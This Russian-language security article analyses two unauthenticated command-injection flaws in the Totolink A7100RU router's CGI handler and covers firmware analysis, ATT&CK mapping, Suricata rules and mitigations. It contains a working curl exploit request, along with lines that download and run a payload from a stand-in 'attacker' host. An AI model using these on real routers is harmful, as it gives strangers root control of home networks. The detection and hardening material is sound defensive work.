Два command injection в роутере Totolink A7100RU - и оба без аутентификации. Один HTTP POST к
/cgi-bin/cstecgi.cgi, и ты root. PoC лежат на GitHub, патча нет и, судя по истории Totolink с поддержкой, может и не будет. Ни один русскоязычный ресурс не разобрал эти CVE руками - с распаковкой прошивки, формированием запросов и готовыми Suricata-правилами. Исправляем: пройдём от бинарника cstecgi.cgi до правила детекции и построим полный маппинг на MITRE ATT&CK.Технические параметры уязвимостей CVE-2026-6112 и CVE-2026-6113
Обе уязвимости бьют в одну точку - CGI-обработчик/cgi-bin/cstecgi.cgi роутера Totolink A7100RU с прошивкой 7.4cu.2313_b20191024. Разница - в конкретных функциях и параметрах, через которые атакующий пропихивает команды ОС.CVE-2026-6112 - функция
setRadvdCfg. Пользовательский ввод в параметре maxRtrAdvInterval улетает в системную команду как есть, без санитизации. CVSS 4.0 - 8.9 (HIGH), вектор: AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Классификация: CWE-77 (Command Injection) и CWE-78 (OS Command Injection). Эксплойт публичный.CVE-2026-6113 - функция
setTtyServiceCfg. Инъекция через параметр ttyEnable. CVSS 4.0 тот же - 8.9 (HIGH), вектор идентичен. Зафиксирована в GitHub Advisory GHSA-6932-6g42-m69h, PoC тоже раскрыт.Почему эти уязвимости - подарок для атакующего SOHO-роутеров:
| Компонент | Значение | Что означает |
|---|---|---|
| AV:N | Network | Атака удалённо, через сеть |
| AC:L | Low | Специальных условий не нужно |
| PR:N | None | Аутентификация не нужна |
| UI:N | None | Действий пользователя не нужно |
| VC:H | High | Полная компрометация конфиденциальности |
| VI:H | High | Полная компрометация целостности |
| VA:H | High | Полная компрометация доступности |
Деталь, которую легко пропустить: NVD на момент публикации показывает статус «Awaiting Analysis» - оценка NIST ещё не завершена, 8.9 присвоен CNA (VulDB). По данным yazoul.net, CNA-оценка по CVSS 3.1 была 9.8 (CRITICAL), но верифицированные данные NVD используют вектор CVSS 4.0 со значением 8.9. Я ориентируюсь на 4.0 - но и 8.9 тут более чем достаточно.
Анализ прошивки Totolink A7100RU: поиск уязвимого CGI-обработчика
Чтобы понять корневую причину обеих уязвимостей, залезем внутрь прошивки. Маршрут для IoT-пентестера стандартный: стянуть firmware, распаковать, найти целевой бинарник, загрузить в дизассемблер и проследить путь пользовательского ввода до вызоваsystem().Требования к окружению
- Linux (Kali 2024+ или Ubuntu 22.04)
binwalk2.3+ - распаковка firmwareGhidra11.x - статический анализ MIPS-бинарниковcurl- формирование HTTP-запросов к уязвимому endpoint'у- Опционально:
firmadyneили QEMU user-mode для эмуляции и динамического анализа
Распаковка firmware и архитектура веб-сервера
Прошивка Totolink A7100RU 7.4cu.2313_b20191024 - SquashFS на MIPS (little-endian). Распаковка стандартная:binwalk -eM firmware.bin, на выходе - корневая файловая система.Веб-сервер устроен типично для embedded-железа этого класса: lighttpd принимает HTTP-соединения и маршрутизирует POST-запросы к
/cgi-bin/cstecgi.cgi. Этот бинарник - монолит на все случаи жизни: десятки функций для разных настроек роутера. Он парсит тело POST-запроса как JSON, смотрит поле topicurl чтобы понять, какой обработчик дёргать, и вызывает соответствующую функцию с переданными параметрами.Загружаем
cstecgi.cgi в Ghidra, смотрим MIPS-код, функций setRadvdCfg и setTtyServiceCfg - и видим классику жанра: функция вытаскивает значение аргумента из JSON (через внутренний парсер), собирает строку команды через sprintf() и скармливает результат в system(). Без единой проверки содержимого. И это не уникальная проблема конкретной функции: по данным yazoul.net, аналогичные command injection торчат ещё из нескольких функций того же бинарника - UploadOpenVpnCert, setNetworkCfg, setAppCfg. Системный дефект разработки прошивки Totolink, не иначе.Механика command injection в CGI Handler: CWE-77 и CWE-78 на практике
Обе уязвимости прошивки роутера классифицированы одновременно как CWE-77 и CWE-78 - и это не дублирование. Каждый CWE описывает свой аспект проблемы, и разница между ними критична для понимания.CWE-77 (Command Injection) фиксирует ошибку на уровне формирования команды: пользовательский ввод включается в строку, которая потом интерпретируется как команда, без разделения данных и управляющих конструкций. В
setRadvdCfg значение maxRtrAdvInterval встраивается прямо в строку команды конфигурации radvd-демона - без экранирования.CWE-78 (OS Command Injection) конкретизирует: сформированная строка исполняется на уровне ОС через
system(), который запускает /bin/sh. Shell видит метасимволы - ;, |, &&, обратные кавычки, $() - и интерпретирует их как управляющие элементы. Тут-то и происходит «побег» из контекста исходной команды.Как это работает для CVE-2026-6112. Если в C-коде
setRadvdCfg формирование команды выглядит как sprintf(cmd, "radvd_set --max-interval %s", value); system(cmd);, то при легитимном значении 600 выполнится radvd_set --max-interval 600. А вот значение 600;wget http://attacker/s -O /tmp/s превращает вызов в две последовательные команды. Shell послушно выполнит обе - ; для него обычный разделитель.Для CVE-2026-6113 механика та же, только через параметр
ttyEnable функции setTtyServiceCfg. Параметр задумывался как булевый переключатель сервиса TTY (ожидаемые значения - «0» или «1»), но без валидации он глотает строку любой длины с любыми shell-метасимволами.Критический момент: оба endpoint'а не требуют аутентификации. По данным SentinelOne,
cstecgi.cgi в этой версии прошивки не проверяет сессионный токен для вызовов setRadvdCfg и setTtyServiceCfg. Любой клиент с сетевым доступом к веб-интерфейсу Totolink A7100RU шлёт запрос напрямую - без логина, без cookie, без ничего.Практическая эксплуатация: от HTTP-запроса до RCE на IoT-роутере
Веб-интерфейс Totolink A7100RU принимает POST-запросы с JSON-телом, где полеtopicurl определяет вызываемый обработчик. Для эксплуатации CVE-2026-6112 запрос выглядит так:
Bash:
curl -s -X POST http://<ROUTER_IP>/cgi-bin/cstecgi.cgi \
-H "Content-Type: application/json" \
-d '{"topicurl":"setRadvdCfg",
"maxRtrAdvInterval":"600;id"}'
id выполняется на устройстве. CGI-процесс на Totolink крутится под root, так что ожидаемый результат - uid=0(root). Для CVE-2026-6113 всё аналогично: topicurl меняем на setTtyServiceCfg, инъекция идёт через ttyEnable.В реальном сценарии атакующий выстраивает цепочку:
- Подтверждение RCE - инъекция безобидной команды (
id,uname -a) для проверки выполнения и определения архитектуры. - Загрузка payload - через
wgetилиtftp(обе утилиты есть в busybox-прошивках большинства SOHO-роутеров) атакующий тянет скомпилированный под MIPS бинарник. - Закрепление - запись в crontab, подмена скриптов в
/etc/init.d/или правка/etc/rc.localчтобы пережить перезагрузку. - Пивотинг - скомпрометированный роутер становится точкой входа во внутреннюю сеть. Через него сканируют и атакуют всё, что за NAT.
Цепочка атаки через MITRE ATT&CK
Маппинг обеих уязвимостей Totolink на MITRE ATT&CK даёт полноценную kill chain - от начального доступа до воздействия.Initial Access - Exploit Public-Facing Application (T1190). Роутер с веб-интерфейсом, доступным из сети - классический public-facing application. POST к
/cgi-bin/cstecgi.cgi с инъекцией в maxRtrAdvInterval или ttyEnable - прямая реализация T1190.Execution - Unix Shell (T1059.004) и Network Device CLI (T1059.008). Инъектированные команды исполняются через
/bin/sh (T1059.004). Цель - сетевое устройство, поэтому параллельно применима T1059.008.Discovery - System Information Discovery (T1082) и System Network Configuration Discovery (T1016). После получения shell атакующий запускает
uname -a, cat /proc/cpuinfo (T1082) и ifconfig, route -n, cat /etc/resolv.conf, arp -a (T1016) - ориентируется в инфраструктуре жертвы.Defense Evasion / Persistence - Default Accounts (T1078.001). SOHO-роутеры Totolink нередко живут с дефолтными учётками. После RCE атакующий авторизуется через них для легитимного доступа, маскируя вредоносную активность.
Command and Control - Ingress Tool Transfer (T1105).
wget http://attacker/payload -O /tmp/p && chmod +x /tmp/p - классическая реализация T1105 на embedded-устройствах.Impact - Compute Hijacking (T1496.001). Финал: скомпрометированный роутер майнит крипту или вливается в DDoS-ботнет.
Понимание полной цепочки ATT&CK позволяет строить эшелонированную детекцию - не только на этапе инъекции, но и на каждом последующем шаге.
Детекция атак на роутеры Totolink: Suricata-правила и индикаторы компрометации
Ни один из проанализированных источников (ни русскоязычных, ни англоязычных) не даёт готовых правил обнаружения для CVE-2026-6112 и CVE-2026-6113. Строим детекцию с нуля.Сетевые индикаторы эксплуатации
На уровне сетевого трафика попытка эксплуатации выглядит как HTTP POST к/cgi-bin/cstecgi.cgi с JSON-телом, где topicurl равен setRadvdCfg или setTtyServiceCfg, а в значениях maxRtrAdvInterval или ttyEnable торчат shell-метасимволы - ;, |, &&, $(), обратные кавычки. После успешной эксплуатации - аномальные исходящие соединения с IP роутера: загрузка файлов по HTTP, reverse shell на нестандартных портах, DNS-резолвинг подозрительных доменов.Suricata-правило для обнаружения CVE-2026-6112
Код:
alert http any any -> $HOME_NET any ( \
msg:"CVE-2026-6112 Totolink A7100RU setRadvdCfg CI"; \
flow:to_server,established; \
http.uri; content:"/cgi-bin/cstecgi.cgi"; \
http.request_body; content:"setRadvdCfg"; \
http.request_body; content:"maxRtrAdvInterval"; \
pcre:"/maxRtrAdvInterval[^}]*([\x3b\x7c\x60]|\$\(|&&)/P"; \
classtype:web-application-attack; \
reference:cve,2026-6112; sid:2026611; rev:1;)
http.uri ловит обращения к CGI-обработчику; http.request_body проверяет имя функции и параметр; pcre ищет shell-метасимволы после maxRtrAdvInterval - ; (0x3b), | (0x7c), обратную кавычку (0x60), $( и &&. Модификатор /P привязывает pcre к HTTP request body. Для CVE-2026-6113 - аналогичное правило, setRadvdCfg → setTtyServiceCfg, maxRtrAdvInterval → ttyEnable, SID 2026612.Хостовые индикаторы и мониторинг на периметре
Если есть доступ к консоли роутера (SSH, serial, telnet), признаки компрометации: нехарактерные процессы вps (особенно wget, tftp, процессы с именами из одного-двух символов), исполняемые файлы в /tmp/ которых не было после перезагрузки, правки в /etc/crontab и скриптах /etc/init.d/, нестандартные записи в iptables -L -n - атакующие иногда закрывают уязвимый endpoint от конкурентов (да, они тоже не любят делиться).Даже без IDS на самом устройстве атаку можно поймать через дублирование сетевого трафика (port mirroring) на вышестоящем коммутаторе. Что отслеживать: исходящие TCP-соединения с IP роутера на порты 4444, 8888, 1337, 9001 (любимые порты reverse shell); HTTP-загрузки бинарников с внешних IP; резкий рост исходящего трафика (индикатор ботнета или майнера). NetFlow/sFlow на upstream-маршрутизаторе даст базовый профиль нормального трафика роутера - любое отклонение от него уже сигнал.
Митигация Totolink RCE уязвимости при отсутствии патча
По данным SentinelOne, NVD и yazoul.net, официального патча от Totolink для прошивки A7100RU 7.4cu.2313_b20191024 нет. Типичная история для SOHO-оборудования: цикл поддержки заканчивается раньше, чем устройство выводят из эксплуатации.Что реально можно сделать:
Закрыть WAN-доступ к веб-интерфейсу. Если remote management включён - отключить сейчас, прямо сейчас. На вышестоящем маршрутизаторе или файрволе заблокировать входящие соединения на порты 80 и 443 целевого IP. Это сокращает вектор до локальной сети.
Сегментировать управление. Отдельная VLAN для администрирования сетевого оборудования. Доступ к интерфейсу роутера - только из этого сегмента. Даже при компрометации другого устройства в сети атакующему придётся сначала прорваться через сегментацию.
Развернуть IDS/IPS перед роутером. Suricata с правилами из предыдущего раздела на upstream-устройстве обнаружит (а в режиме IPS - заблокирует) попытки эксплуатации в реальном времени.
Рассмотреть замену оборудования. Если патч не появится в ближайшие недели - замена на роутер с активной поддержкой (OpenWrt, MikroTik RouterOS) будет самым надёжным решением. Системный характер уязвимостей в
cstecgi.cgi - множество дырявых функций в одном бинарнике - намекает, что даже после патча этих двух CVE в прошивке наверняка останутся аналогичные проблемы.Мониторить анонсы. Проверять страницу поддержки Totolink и запись VulDB (submission #792245) на предмет обновлённой прошивки. Но я бы не ставил на это.
Вопрос к читателям
Для тех, кто уже поднял Suricata-правила на мониторинг/cgi-bin/cstecgi.cgi - какой pcre-паттерн детекции shell-метасимволов в maxRtrAdvInterval даёт минимум false positive на реальном трафике Totolink A7100RU? В статье предложен [\x3b\x7c\x60]|\$\(|&& - он ловит основные разделители, но не покрывает \n (0x0a) и \r\n как разделители команд в некоторых shell-окружениях. Скиньте свой pcre для SID 2026611 и количество срабатываний за неделю - интересно сравнить чувствительность разных подходов к детекции command injection в CGI-трафике SOHO-роутеров.
Последнее редактирование модератором: